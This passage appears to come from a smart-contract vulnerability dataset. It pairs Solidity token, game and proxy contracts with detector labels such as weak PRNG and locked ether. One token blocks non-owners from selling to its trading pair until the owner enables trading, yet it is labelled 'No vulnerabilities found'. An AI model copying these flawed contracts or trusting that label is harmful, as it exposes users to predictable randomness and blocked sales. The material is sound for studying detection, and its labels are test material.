uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IpancakeRouter02 is IpancakeRouter01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
// Bep20 standards for token creation by bloctechsolutions.com
contract MemeCoinStaking is Context, ERC20, ERC20Metadata, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromMaxTx;
IpancakeRouter02 public pancakeRouter;
address public pancakePair;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
bool public _antiwhale = false; //once switched on, can never be switched off.
uint256 public _maxTxAmount;
constructor() {
_name = "MemeCoinStaking";
_symbol = "MCS";
_decimals = 18;
_totalSupply = 1000000000 * 1e18;
_balances[owner()] = _totalSupply;
_maxTxAmount = _totalSupply.mul(10).div(100);
IpancakeRouter02 _pancakeRouter = IpancakeRouter02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D // UniswapV2Router02
);
// Create a uniswap pair for this new token
pancakePair = IUniswapV2Factory(_pancakeRouter.factory()).createPair(
address(this),
_pancakeRouter.WETH()
);
// set the rest of the contract variables
pancakeRouter = _pancakeRouter;
// exclude from max tx
_isExcludedFromMaxTx[owner()] = true;
_isExcludedFromMaxTx[address(this)] = true;
emit Transfer(address(0), owner(), _totalSupply);
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function AntiWhale() external onlyOwner {
_antiwhale = true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"WE: transfer amount exceeds allowance"
);
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function setExcludeFromMaxTx(address _address, bool value) public onlyOwner {
_isExcludedFromMaxTx[_address] = value;
}
// for 1% input 1
function setMaxTxPercent(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = _totalSupply.mul(maxTxAmount).div(100);
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"WE: decreased allowance below zero"
);
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "WE: transfer from the zero address");
require(recipient != address(0), "WE: transfer to the zero address");
require(amount > 0, "WE: Transfer amount must be greater than zero");
if(_isExcludedFromMaxTx[sender] == false &&
_isExcludedFromMaxTx[recipient] == false // by default false
){
require(amount <= _maxTxAmount,"amount exceed max limit");
if (!_antiwhale && sender != owner() && recipient != owner()) {
require(recipient != pancakePair, " WE:antuwhale is not enabled");
}
}
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(
senderBalance >= amount,
"WE: transfer amount exceeds balance"
);
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | No vulnerabilities found |
pragma solidity ^0.4.17;
contract AccessControl {
address public creatorAddress;
uint16 public totalSeraphims = 0;
mapping (address => bool) public seraphims;
bool public isMaintenanceMode = true;
modifier onlyCREATOR() {
require(msg.sender == creatorAddress);
_;
}
modifier onlySERAPHIM() {
require(seraphims[msg.sender] == true);
_;
}
modifier isContractActive {
require(!isMaintenanceMode);
_;
}
// Constructor
function AccessControl() public {
creatorAddress = msg.sender;
}
function addSERAPHIM(address _newSeraphim) onlyCREATOR public {
if (seraphims[_newSeraphim] == false) {
seraphims[_newSeraphim] = true;
totalSeraphims += 1;
}
}
function removeSERAPHIM(address _oldSeraphim) onlyCREATOR public {
if (seraphims[_oldSeraphim] == true) {
seraphims[_oldSeraphim] = false;
totalSeraphims -= 1;
}
}
function updateMaintenanceMode(bool _isMaintaining) onlyCREATOR public {
isMaintenanceMode = _isMaintaining;
}
}
contract IBattleboardData is AccessControl {
// write functions
function createBattleboard(uint prize, uint8 restrictions) onlySERAPHIM external returns (uint16);
function killMonster(uint16 battleboardId, uint8 monsterId) onlySERAPHIM external;
function createNullTile(uint16 _battleboardId) private ;
function createTile(uint16 _battleboardId, uint8 _tileType, uint8 _value, uint8 _position, uint32 _hp, uint16 _petPower, uint64 _angelId, uint64 _petId, address _owner, uint8 _team) onlySERAPHIM external returns (uint8);
function killTile(uint16 battleboardId, uint8 tileId) onlySERAPHIM external ;
function addTeamtoBoard(uint16 battleboardId, address owner, uint8 team) onlySERAPHIM external;
function setTilePosition (uint16 battleboardId, uint8 tileId, uint8 _positionTo) onlySERAPHIM public ;
function setTileHp(uint16 battleboardId, uint8 tileId, uint32 _hp) onlySERAPHIM external ;
function addMedalBurned(uint16 battleboardId) onlySERAPHIM external ;
function setLastMoveTime(uint16 battleboardId) onlySERAPHIM external ;
function iterateTurn(uint16 battleboardId) onlySERAPHIM external ;
function killBoard(uint16 battleboardId) onlySERAPHIM external ;
function clearAngelsFromBoard(uint16 battleboardId) private;
//Read functions
function getTileHp(uint16 battleboardId, uint8 tileId) constant external returns (uint32) ;
function getMedalsBurned(uint16 battleboardId) constant external returns (uint8) ;
function getTeam(uint16 battleboardId, uint8 tileId) constant external returns (uint8) ;
function getMaxFreeTeams() constant public returns (uint8);
function getBarrierNum(uint16 battleboardId) public constant returns (uint8) ;
function getTileFromBattleboard(uint16 battleboardId, uint8 tileId) public constant returns (uint8 tileType, uint8 value, uint8 id, uint8 position, uint32 hp, uint16 petPower, uint64 angelId, uint64 petId, bool isLive, address owner) ;
function getTileIDByOwner(uint16 battleboardId, address _owner) constant public returns (uint8) ;
function getPetbyTileId( uint16 battleboardId, uint8 tileId) constant public returns (uint64) ;
function getOwner (uint16 battleboardId, uint8 team, uint8 ownerNumber) constant external returns (address);
function getTileIDbyPosition(uint16 battleboardId, uint8 position) public constant returns (uint8) ;
function getPositionFromBattleboard(uint16 battleboardId, uint8 _position) public constant returns (uint8 tileType, uint8 value, uint8 id, uint8 position, uint32 hp, uint32 petPower, uint64 angelId, uint64 petId, bool isLive) ;
function getBattleboard(uint16 id) public constant returns (uint8 turn, bool isLive, uint prize, uint8 numTeams, uint8 numTiles, uint8 createdBarriers, uint8 restrictions, uint lastMoveTime, uint8 numTeams1, uint8 numTeams2, uint8 monster1, uint8 monster2) ;
function isBattleboardLive(uint16 battleboardId) constant public returns (bool);
function isTileLive(uint16 battleboardId, uint8 tileId) constant external returns (bool) ;
function getLastMoveTime(uint16 battleboardId) constant public returns (uint) ;
function getNumTilesFromBoard (uint16 _battleboardId) constant public returns (uint8) ;
function angelOnBattleboards(uint64 angelID) external constant returns (bool) ;
function getTurn(uint16 battleboardId) constant public returns (address) ;
function getNumTeams(uint16 battleboardId, uint8 team) public constant returns (uint8);
function getMonsters(uint16 BattleboardId) external constant returns (uint8 monster1, uint8 monster2) ;
function getTotalBattleboards() public constant returns (uint16) ;
}
contract BattleboardData is IBattleboardData {
/*** DATA TYPES ***/
//Most main pieces on the board are tiles.
struct Tile {
uint8 tileType;
uint8 value; //speed for angels, otherwise value of other types.
uint8 id;
uint8 position;
uint32 hp;
uint16 petPower;
uint8 team; //which team they are on.
uint64 angelId;
uint64 petId;
bool isLive;
address owner;
}
struct Battleboard {
uint8 turn; //turn number - turn 0 is the first player who enters the board.
address[] players;
bool isLive;
uint prize;
uint16 id;
uint8 numTeams; //number of angel/pet teams on the board, different than TEAM1 vs TEAM2
uint8 numTiles;
uint8 createdBarriers;
uint8 restrictions; //number of which angels can be added.
uint lastMoveTime;
address[] team1;
address[] team2; //addresses of the owners of teams 1 and 2
uint8 numTeams1;
uint8 numTeams2;
uint8 monster1; //tile number of the monster locations.
uint8 monster2;
uint8 medalsBurned;
}
//main storage
Battleboard [] Battleboards;
uint16 public totalBattleboards;
uint8 maxFreeTeams = 6;
uint8 maxPaidTeams = 4;
//Each angel can only be on one board at a time.
mapping (uint64 => bool) angelsOnBattleboards;
//Map the battleboard ID to an array of all tiles on that board.
mapping (uint32 => Tile[]) TilesonBoard;
//for each battleboardId(uint16) there is a number with the tileId of the tile. TileId 0 means blank.
mapping (uint16 => uint8 [64]) positionsTiles;
// write functions
function createBattleboard(uint prize, uint8 restrictions) onlySERAPHIM external returns (uint16) {
Battleboard memory battleboard;
battleboard.restrictions = restrictions;
battleboard.isLive = false; //will be live once ALL teams are added.
battleboard.prize = prize;
battleboard.id = totalBattleboards;
battleboard.numTeams = 0;
battleboard.lastMoveTime = now;
totalBattleboards += 1;
battleboard.numTiles = 0;
//set the monster positions
battleboard.monster1 = getRandomNumber(30,17,1);
battleboard.monster2 = getRandomNumber(48,31,2);
Battleboards.push(battleboard);
createNullTile(totalBattleboards-1);
return (totalBattleboards - 1);
}
function killMonster(uint16 battleboardId, uint8 monsterId) onlySERAPHIM external{
if (monsterId == 1) {
Battleboards[battleboardId].monster1 = 0;
}
if (monsterId ==2) {
Battleboards[battleboardId].monster2 = 0;
}
}
function createNullTile(uint16 _battleboardId) private {
//We need to create a tile with ID 0 that won't be on the board. This lets us know if any other tile is ID 0 then that means it's a blank tile.
if ((_battleboardId <0) || (_battleboardId > totalBattleboards)) {revert();}
Tile memory tile ;
tile.tileType = 0;
tile.id = 0;
tile.isLive = true;
TilesonBoard[_battleboardId].push(tile);
}
function createTile(uint16 _battleboardId, uint8 _tileType, uint8 _value, uint8 _position, uint32 _hp, uint16 _petPower, uint64 _angelId, uint64 _petId, address _owner, uint8 _team) onlySERAPHIM external returns (uint8) {
//main function to create a tile and add it to the board.
if ((_battleboardId <0) || (_battleboardId > totalBattleboards)) {revert();}
if ((angelsOnBattleboards[_angelId] == true) && (_angelId != 0)) {revert();}
angelsOnBattleboards[_angelId] = true;
Tile memory tile ;
tile.tileType = _tileType;
tile.value = _value;
tile.position= _position;
tile.hp = _hp;
Battleboards[_battleboardId].numTiles +=1;
tile.id = Battleboards[_battleboardId].numTiles;
positionsTiles[_battleboardId][_position+1] = tile.id;
tile.petPower = _petPower;
tile.angelId = _angelId;
tile.petId = _petId;
tile.owner = _owner;
tile.team = _team;
tile.isLive = true;
TilesonBoard[_battleboardId].push(tile);
return (Battleboards[_battleboardId].numTiles);
}
function killTile(uint16 battleboardId, uint8 tileId) onlySERAPHIM external {
TilesonBoard[battleboardId][tileId].isLive= false;
TilesonBoard[battleboardId][tileId].tileType= 0;
for (uint i =0; i< Battleboards[battleboardId].team1.length; i++) {
if (Battleboards[battleboardId].team1[i] == TilesonBoard[battleboardId][tileId].owner) {
//should be safe because a team can't be killed if there are 0 teams to kill.
Battleboards[battleboardId].numTeams1 -= 1;
}
}
for (i =0; i< Battleboards[battleboardId].team2.length; i++) {
if (Battleboards[battleboardId].team2[i] == TilesonBoard[battleboardId][tileId].owner) {
//should be safe because a team can't be killed if there are 0 teams to kill.
Battleboards[battleboardId].numTeams2 -= 1;
}
}
}
function addTeamtoBoard(uint16 battleboardId, address owner, uint8 team) onlySERAPHIM external {
//Can't add a team if the board is live, or if the board is already full of teams.
if (Battleboards[battleboardId].isLive == true) {revert();}
if ((Battleboards[battleboardId].prize == 0) &&(Battleboards[battleboardId].numTeams == maxFreeTeams)) {revert();}
if ((Battleboards[battleboardId].prize != 0) &&(Battleboards[battleboardId].numTeams == maxPaidTeams)) {revert();}
//only one team per address can be on the board.
for (uint i =0; i<Battleboards[battleboardId].numTeams; i++) {
if (Battleboards[battleboardId].players[i] == owner) {revert();}
}
Battleboards[battleboardId].numTeams += 1;
Battleboards[battleboardId].players.push(owner);
if (team == 1) {
Battleboards[battleboardId].numTeams1 += 1;
Battleboards[battleboardId].team1.push(owner);
}
if (team == 2) {
Battleboards[battleboardId].numTeams2 += 1;
Battleboards[battleboardId].team2.push(owner);
//if the board is now full, then go ahead and make it live.
if ((Battleboards[battleboardId].numTeams1 == 3) && (Battleboards[battleboardId].numTeams2 ==3)) {Battleboards[battleboardId].isLive = true;}
if ((Battleboards[battleboardId].prize != 0) &&(Battleboards[battleboardId].numTeams == maxPaidTeams)) {Battleboards[battleboardId].isLive = true;}
}
}
function setTilePosition (uint16 battleboardId, uint8 tileId, uint8 _positionTo) onlySERAPHIM public {
uint8 oldPos = TilesonBoard[battleboardId][tileId].position;
positionsTiles[battleboardId][oldPos+1] = 0;
TilesonBoard[battleboardId][tileId].position = _positionTo;
positionsTiles[battleboardId][_positionTo+1] = tileId;
}
function setTileHp(uint16 battleboardId, uint8 tileId, uint32 _hp) onlySERAPHIM external {
TilesonBoard[battleboardId][tileId].hp = _hp;
}
function addMedalBurned(uint16 battleboardId) onlySERAPHIM external {
Battleboards[battleboardId].medalsBurned += 1;
}
function withdrawEther() onlyCREATOR external {
//shouldn't have any eth here but just in case.
creatorAddress.transfer(this.balance);
}
function setLastMoveTime(uint16 battleboardId) onlySERAPHIM external {
Battleboards[battleboardId].lastMoveTime = now;
}
function iterateTurn(uint16 battleboardId) onlySERAPHIM external {
if (Battleboards[battleboardId].turn == (Battleboards[battleboardId].players.length-1)) {
Battleboards[battleboardId].turn = 0;
}
else {Battleboards[battleboardId].turn += 1;}
}
function killBoard(uint16 battleboardId) onlySERAPHIM external {
Battleboards[battleboardId].isLive = false;
clearAngelsFromBoard(battleboardId);
}
function clearAngelsFromBoard(uint16 battleboardId) private {
//Free up angels to be used on other boards.
for (uint i = 0; i < Battleboards[battleboardId].numTiles; i++) {
if (TilesonBoard[battleboardId][i].angelId != 0) {
angelsOnBattleboards[TilesonBoard[battleboardId][i].angelId] = false;
}
}
}
//Read functions
function getTileHp(uint16 battleboardId, uint8 tileId) constant external returns (uint32) {
return TilesonBoard[battleboardId][tileId].hp;
}
function getMedalsBurned(uint16 battleboardId) constant external returns (uint8) {
return Battleboards[battleboardId].medalsBurned;
}
function getTeam(uint16 battleboardId, uint8 tileId) constant external returns (uint8) {
return TilesonBoard[battleboardId][tileId].team;
}
function getRandomNumber(uint16 maxRandom, uint8 min, address privateAddress) constant public returns(uint8) {
uint256 genNum = uint256(block.blockhash(block.number-1)) + uint256(privateAddress);
return uint8(genNum % (maxRandom - min + 1)+min);
}
function getMaxFreeTeams() constant public returns (uint8) {
return maxFreeTeams;
}
function getBarrierNum(uint16 battleboardId) public constant returns (uint8) {
return Battleboards[battleboardId].createdBarriers;
}
// Call to get the specified tile at a certain position of a certain board.
function getTileFromBattleboard(uint16 battleboardId, uint8 tileId) public constant returns (uint8 tileType, uint8 value, uint8 id, uint8 position, uint32 hp, uint16 petPower, uint64 angelId, uint64 petId, bool isLive, address owner) {
if ((battleboardId <0) || (battleboardId > totalBattleboards)) {revert();}
Battleboard memory battleboard = Battleboards[battleboardId];
Tile memory tile;
if ((tileId <0) || (tileId> battleboard.numTiles)) {revert();}
tile = TilesonBoard[battleboardId][tileId];
tileType = tile.tileType;
value = tile.value;
id= tile.id;
position = tile.position;
hp = tile.hp;
petPower = tile.petPower;
angelId = tile.angelId;
petId = tile.petId;
owner = tile.owner;
isLive = tile.isLive;
}
//Each player (address) can only have one tile on each board.
function getTileIDByOwner(uint16 battleboardId, address _owner) constant public returns (uint8) {
for (uint8 i = 0; i < Battleboards[battleboardId].numTiles+1; i++) {
if (TilesonBoard[battleboardId][i].owner == _owner) {
return TilesonBoard[battleboardId][i].id;
}
}
return 0;
}
function getPetbyTileId( uint16 battleboardId, uint8 tileId) constant public returns (uint64) {
return TilesonBoard[battleboardId][tileId].petId;
}
function getOwner (uint16 battleboardId, uint8 team, uint8 ownerNumber) constant external returns (address) {
if (team == 0) {return Battleboards[battleboardId].players[ownerNumber];}
if (team == 1) {return Battleboards[battleboardId].team1[ownerNumber];}
if (team == 2) {return Battleboards[battleboardId].team2[ownerNumber];}
}
function getTileIDbyPosition(uint16 battleboardId, uint8 position) public constant returns (uint8) {
return positionsTiles[battleboardId][position+1];
}
//If tile is empty, this returns 0
// Call to get the specified tile at a certain position of a certain board.
function getPositionFromBattleboard(uint16 battleboardId, uint8 _position) public constant returns (uint8 tileType, uint8 value, uint8 id, uint8 position, uint32 hp, uint32 petPower, uint64 angelId, uint64 petId, bool isLive) {
if ((battleboardId <0) || (battleboardId > totalBattleboards)) {revert();}
Tile memory tile;
uint8 tileId = positionsTiles[battleboardId][_position+1];
tile = TilesonBoard[battleboardId][tileId];
tileType = tile.tileType;
value = tile.value;
id= tile.id;
position = tile.position;
hp = tile.hp;
petPower = tile.petPower;
angelId = tile.angelId;
petId = tile.petId;
isLive = tile.isLive;
}
function getBattleboard(uint16 id) public constant returns (uint8 turn, bool isLive, uint prize, uint8 numTeams, uint8 numTiles, uint8 createdBarriers, uint8 restrictions, uint lastMoveTime, uint8 numTeams1, uint8 numTeams2, uint8 monster1, uint8 monster2) {
Battleboard memory battleboard = Battleboards[id];
turn = battleboard.turn;
isLive = battleboard.isLive;
prize = battleboard.prize;
numTeams = battleboard.numTeams;
numTiles = battleboard.numTiles;
createdBarriers = battleboard.createdBarriers;
restrictions = battleboard.restrictions;
lastMoveTime = battleboard.lastMoveTime;
numTeams1 = battleboard.numTeams1;
numTeams2 = battleboard.numTeams2;
monster1 = battleboard.monster1;
monster2 = battleboard.monster2;
}
function isBattleboardLive(uint16 battleboardId) constant public returns (bool) {
return Battleboards[battleboardId].isLive;
}
function isTileLive(uint16 battleboardId, uint8 tileId) constant external returns (bool) {
return TilesonBoard[battleboardId][tileId].isLive;
}
function getLastMoveTime(uint16 battleboardId) constant public returns (uint) {
return Battleboards[battleboardId].lastMoveTime;
}
function getNumTilesFromBoard (uint16 _battleboardId) constant public returns (uint8) {
return Battleboards[_battleboardId].numTiles;
}
//each angel can only be on ONE sponsored battleboard at a time.
function angelOnBattleboards(uint64 angelID) external constant returns (bool) {
return angelsOnBattleboards[angelID];
}
function getTurn(uint16 battleboardId) constant public returns (address) {
return Battleboards[battleboardId].players[Battleboards[battleboardId].turn];
}
function getNumTeams(uint16 battleboardId, uint8 team) public constant returns (uint8) {
if (team == 1) {return Battleboards[battleboardId].numTeams1;}
if (team == 2) {return Battleboards[battleboardId].numTeams2;}
}
function getMonsters(uint16 BattleboardId) external constant returns (uint8 monster1, uint8 monster2) {
monster1 = Battleboards[BattleboardId].monster1;
monster2 = Battleboards[BattleboardId].monster2;
}
function safeMult(uint x, uint y) pure internal returns(uint) {
uint z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
function SafeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
/// Read access
}
function getTotalBattleboards() public constant returns (uint16) {
return totalBattleboards;
}
} | These are the vulnerabilities found
1) uninitialized-local with Medium impact
2) weak-prng with High impact
3) tautology with Medium impact
4) controlled-array-length with High impact |
pragma solidity ^0.7.1;
import "./PProxyStorage.sol";
contract PProxy is PProxyStorage {
bytes32 constant IMPLEMENTATION_SLOT = keccak256(abi.encodePacked("IMPLEMENTATION_SLOT"));
bytes32 constant OWNER_SLOT = keccak256(abi.encodePacked("OWNER_SLOT"));
modifier onlyProxyOwner() {
require(msg.sender == readAddress(OWNER_SLOT), "PProxy.onlyProxyOwner: msg sender not owner");
_;
}
constructor () public {
setAddress(OWNER_SLOT, msg.sender);
}
function getProxyOwner() public view returns (address) {
return readAddress(OWNER_SLOT);
}
function setProxyOwner(address _newOwner) onlyProxyOwner public {
setAddress(OWNER_SLOT, _newOwner);
}
function getImplementation() public view returns (address) {
return readAddress(IMPLEMENTATION_SLOT);
}
function setImplementation(address _newImplementation) onlyProxyOwner public {
setAddress(IMPLEMENTATION_SLOT, _newImplementation);
}
fallback () external payable {
return internalFallback();
}
function internalFallback() internal virtual {
address contractAddr = readAddress(IMPLEMENTATION_SLOT);
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize())
let result := delegatecall(gas(), contractAddr, ptr, calldatasize(), 0, 0)
let size := returndatasize()
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
}
pragma solidity ^0.7.1;
contract PProxyStorage {
function readBool(bytes32 _key) public view returns(bool) {
return storageRead(_key) == bytes32(uint256(1));
}
function setBool(bytes32 _key, bool _value) internal {
if(_value) {
storageSet(_key, bytes32(uint256(1)));
} else {
storageSet(_key, bytes32(uint256(0)));
}
}
function readAddress(bytes32 _key) public view returns(address) {
return bytes32ToAddress(storageRead(_key));
}
function setAddress(bytes32 _key, address _value) internal {
storageSet(_key, addressToBytes32(_value));
}
function storageRead(bytes32 _key) public view returns(bytes32) {
bytes32 value;
//solium-disable-next-line security/no-inline-assembly
assembly {
value := sload(_key)
}
return value;
}
function storageSet(bytes32 _key, bytes32 _value) internal {
// targetAddress = _address; // No!
bytes32 implAddressStorageKey = _key;
//solium-disable-next-line security/no-inline-assembly
assembly {
sstore(implAddressStorageKey, _value)
}
}
function bytes32ToAddress(bytes32 _value) public pure returns(address) {
return address(uint160(uint256(_value)));
}
function addressToBytes32(address _value) public pure returns(bytes32) {
return bytes32(uint256(_value));
}
}
| These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.5.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
Safe Math
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
/**
Create ERC20 token
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Core_Finance_Relaunch is ERC20Detailed {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
string constant tokenName = "Core Finance (Official Relaunch)";
string constant tokenSymbol = "CORE9";
uint8 constant tokenDecimals = 18;
uint256 _totalSupply = 30000000000000000000000;
uint256 public basePercent = 100;
constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) {
_mint(msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function findOnePercentb(uint256 value) public view returns (uint256) {
uint256 roundValue = value.ceil(basePercent);
uint256 onePercent = roundValue.mul(basePercent).div(10000);
return onePercent;
}
/**
Allow token to be traded/sent from account to account // allow for staking and governance plug-in
*/
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
uint256 tokensToBurn = 0;
uint256 tokensToTransfer = value.sub(tokensToBurn);
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
emit Transfer(msg.sender, to, tokensToTransfer);
emit Transfer(msg.sender, address(0), tokensToBurn);
return true;
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
}
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
